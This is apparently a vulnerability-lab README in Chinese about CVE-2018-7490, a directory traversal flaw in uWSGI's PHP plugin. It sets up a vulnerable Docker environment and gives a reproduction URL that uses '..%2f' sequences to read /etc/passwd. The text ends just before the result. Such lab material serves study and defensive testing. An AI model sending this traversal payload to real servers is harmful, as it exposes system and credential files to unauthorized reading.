Aaron
63285f61aa
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22 lines
686 B
Markdown
22 lines
686 B
Markdown
# uWSGI PHP目录穿越漏洞（CVE-2018-7490）
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uWSGI是一款Web应用程序服务器，它实现了WSGI、uwsgi和http等协议，并支持通过插件来运行各种语言。
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uWSGI 2.0.17之前的PHP插件，没有正确的处理`DOCUMENT_ROOT`检测，导致用户可以通过`..%2f`来跨越目录，读取或运行`DOCUMENT_ROOT`目录以外的文件。
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## 漏洞环境
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运行存在漏洞的uWSGI服务器：
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```
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docker compose up -d
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```
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运行完成后，访问`http://your-ip:8080/`即可看到phpinfo信息，说明uwsgi-php服务器已成功运行。
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## 漏洞复现
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访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`，成功读取文件：
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